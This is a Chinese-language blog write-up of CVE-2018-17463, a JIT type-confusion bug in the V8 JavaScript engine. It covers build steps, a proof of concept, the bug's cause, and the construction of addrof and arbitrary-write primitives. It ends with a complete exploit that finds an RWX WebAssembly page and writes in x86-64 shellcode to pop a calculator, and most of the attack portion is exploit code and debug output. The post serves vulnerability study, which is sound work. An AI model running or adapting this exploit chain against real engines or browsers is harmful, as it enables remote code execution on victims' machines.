本文为本博客V8系列第四篇。
漏洞基本信息
根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
对源码进行编译。
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
PoC
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < 10000; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
console.log(i);
console.log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
check_vul();
POC代码执行后,res的取值将会发生错误,从而导致输出“CVE-2018-17463 exists in the d8”语句。
漏洞成因
漏洞成因是原本分开保存的各个属性在Object.create()
后会被整理到一个大的hash表结构里。但是JIT后的函数不知道,依旧按照最初保存在变量结构体里的偏移去取,导致下方的内存泄露。
漏洞利用
确定偏移
使用POC的代码即可稳定触发漏洞,但是我们发现每次执行后,hash表中的顺序会不断变化,从而导致漏洞利用过程中各个属性所对应的偏移大小无法确定。
但是存在另一个规律,在同一次执行过程中,相同属性构造的Object
,在DictionaryProperties
中的偏移是相同的,执行如下代码:
let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
readline();
通过调试发现,尽管a1,a2的属性值是不同的,但是每个相同名称的属性的位置是相同的。
0x23d12d30e231 <Object map = 0xf1fe758cbb1> --> a1
0x23d12d30e541 <Object map = 0xf1fe758cc51> --> a2
0x23d12d30e231: [JS_OBJECT_TYPE]
- map: 0x0f1fe758cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x01d63c7846d9 <Object map = 0xf1fe75822f1>
- elements: 0x1c43c0a02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x23d12d30e599 <NameDictionary[53]> {
#b: 4 (data, dict_index: 4, attrs: [WEC])
#c: 5 (data, dict_index: 5, attrs: [WEC])
#y: 2 (data, dict_index: 2, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
#d: 6 (data, dict_index: 6, attrs: [WEC])
#z: 3 (data, dict_index: 3, attrs: [WEC])
}
0x23d12d30e599: [ObjectHashTable]
- map: 0x1c43c0a03669 <Map>
- length: 53
- elements: 6
- deleted: 0
- capacity: 16
- elements: {
0: 7 -> 0
1: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
2: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
3: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
4: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
5: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
6: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
7: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
8: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
9: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
10: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
11: 0x1c43c0a025a1 <undefined> -> 0x01d63c7a2991 <String[1]: b>
12: 4 -> 1216
13: 0x1916eaf068c9 <String[1]: c> -> 5
14: 1472 -> 0x1916eaf06959 <String[1]: y>
15: 2 -> 704
}
0x23d12d30e541: [JS_OBJECT_TYPE]
- map: 0x0f1fe758cc51 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x01d63c7846d9 <Object map = 0xf1fe75822f1>
- elements: 0x1c43c0a02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x23d12d30e789 <NameDictionary[53]> {
#b: 7 (data, dict_index: 4, attrs: [WEC])
#c: 8 (data, dict_index: 5, attrs: [WEC])
#y: 3 (data, dict_index: 2, attrs: [WEC])
#x: 2 (data, dict_index: 1, attrs: [WEC])
#d: 9 (data, dict_index: 6, attrs: [WEC])
#z: 4 (data, dict_index: 3, attrs: [WEC])
}
0x23d12d30e789: [ObjectHashTable]
- map: 0x1c43c0a03669 <Map>
- length: 53
- elements: 6
- deleted: 0
- capacity: 16
- elements: {
0: 7 -> 0
1: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
2: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
3: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
4: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
5: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
6: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
7: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
8: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
9: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
10: 0x1c43c0a025a1 <undefined> -> 0x1c43c0a025a1 <undefined>
11: 0x1c43c0a025a1 <undefined> -> 0x01d63c7a2991 <String[1]: b>
12: 7 -> 1216
13: 0x1916eaf068c9 <String[1]: c> -> 8
14: 1472 -> 0x1916eaf06959 <String[1]: y>
15: 3 -> 704
}
因此,根据这个规律我们可以得到这样一个方法:在一次利用中,只要找到一对可以用于类型混淆的属性名就可以作为先验知识一直使用。有了这对属性,假设为a.x1和a.x2,那么就可以返回a.x1而的到a.x2的值,从而造成类型混淆。
搜索X1、X2对的代码如下:
// check collision between directory mode and fast mode
let OPTIMIZATION_NUM = 10000
let OBJ_LEN = 0x30
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i};
`);
}
return res;
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
findCollision();
从下面的结果可发现,在每次执行中,键值对都不同:
在这以后,便可以使用得到的键值对造成类型混淆。
addrof原语
假设得到的键值对为X和Y。则构建一个全新的Object
:
o.X = {x1:1.1,x2:1.2};
o.Y = {y1:obj};
并且构造恶意函数:
function bad_create(o){
o.a;
this.Object.create(o);
return o.X.x1;
}
那么在返回o.X.x1
的时候,实际上返回的是obj结构体的地址,从而对浮点型进行转换就可以得到对应obj地址了。值得注意的是,这里的X和Y是hash里位置最上面的第一个元素和越界读写重合。也就是说也可以选择hash里第二、第三个目标元素的位置。
任意地址读写原语
通常任意地址读写需要利用ArrayBuffer
对象的backing_store
属性,该属性指向分配的Buffer空间,因此,修改它为目标地址即可对目标地址进行读写操作。我们发现如果构建Object
为{x0:{x1:1.1,x2:1.2}}
,则对x0.x2
的写操作恰好可以改变对应键值的backing_store
,造成内存任意写。
因此,恶意函数构造如下:
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}
Shellcode执行
利用wasm机制来开辟一块rwx
的内存空间,代码如下:
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0
]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.GToadLuck;
最终效果
成功使得v8执行了Shellcode后弹出了计算器。
EXP
最终完整EXP如下:
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64;
}
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
function log(x,y = ' '){
console.log("[+] log:", x,y);
}
let OPTIMIZATION_NUM = 10000;
let OBJ_LEN = 0x20;
let X;
let Y;
// use a obj to check whether CVE-2018-17463 exists
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < OPTIMIZATION_NUM; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i};
`);
}
return res;
}
function printOBJ(x){
for(let i = 0;i<OBJ_LEN;i++){
eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);
//console.log('['+i+']'+x[i]);
}
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
// create primitive -> addrof
function getOBJ4addr(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = 1.1;
`); }
if (('b'+i)== X){
eval(`
res.${X} = {x1:1.1,x2:1.2};
`);
}
if (('b'+i)== Y){
eval(`
res.${Y} = {y1:obj};
`);
}
}
return res;
}
function addrof(obj){
eval(`
function bad_create(o){
o.a;
this.Object.create(o);
return o.${X}.x1;
}
`);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4addr(obj));
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.1){
log(tmp);
return ret;
}
}
throw "not found addrof obj";
}
// create primitive -> Arbitrary write
function getOBJ4read(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = {};
`); }
if (('b'+i)== X){
eval(`
res.${X} = {x0:{x1:1.1,x2:1.2}};
`);
}
if (('b'+i)== Y){
eval(`
res.${Y} = {y1:obj};
`);
}
}
return res;
}
function arbitraryWrite(obj,addr){
eval(`
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}
`);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4read(obj),addr);
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.2){
return ;
}
}
throw "not found arbitraryWrite";
}
// exploit
function exploit(){
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0
]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.GToadLuck;
console.log("step 0: Game start");
f();
console.log("step 1: check whether vulnerability exists");
check_vul();
console.log("step 2: find collision");
[X,Y] = findCollision();
let mem = new ArrayBuffer(1024);
give_me_a_clean_newspace();
console.log("step 3: get address of JSFunciton");
let addr = addrof(f);
console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");
arbitraryWrite(mem,addr);
let dv = new DataView(mem);
SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo");
arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());
WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true));
console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData");
arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());
WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true));
console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject");
arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());
imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true));
console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets");
arbitraryWrite(mem,imported_function_targets_addr.asDouble());
code_addr = Int64.fromDouble(dv.getFloat64(0,true));
console.log("[+] code addr :"+code_addr);
log("step 9: make ArrayBuffer's backing_store -> rwx_area");
arbitraryWrite(mem,code_addr.asDouble());
console.log("step 10: write shellcode for poping up a calculator");
let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
let write_tmp = new Uint8Array(mem);
write_tmp.set(shellcode_calc);
console.log("[+] Press Any key to execute Shellcode");
readline();
f();
}
exploit();